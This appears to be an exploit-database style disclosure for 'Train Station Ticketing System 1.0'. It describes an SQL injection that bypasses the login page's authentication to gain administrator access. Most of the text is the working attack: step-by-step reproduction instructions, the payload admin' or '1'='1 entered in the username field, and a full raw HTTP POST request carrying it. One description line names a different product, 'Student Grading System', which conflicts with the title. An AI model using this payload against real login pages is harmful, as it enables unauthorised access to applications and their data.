# Exploit Title: Train Station Ticketing System 1.0 - SQLi Authentication Bypass
# Date: 08.09.2022
# Exploit Author: cs16snow
# Author Email: testimiyapipcikcam@gmail.com
# Vendor Homepage: https://www.sourcecodester.com/php/14572/train-station-ticketing-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14572&title=Train+Station+Ticketing+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 11, Kali Linux
# Student Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.
Steps To Reproduce:
1 - Go to the login page http://localhost/train_ticketing/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.
PoC
POST /train_ticketing/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/train_ticketing/login.php
Cookie: PHPSESSID=j5dch97u6g1jb138velpqk5a3p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
username=admin'+or+'1'%3D'1&password=anything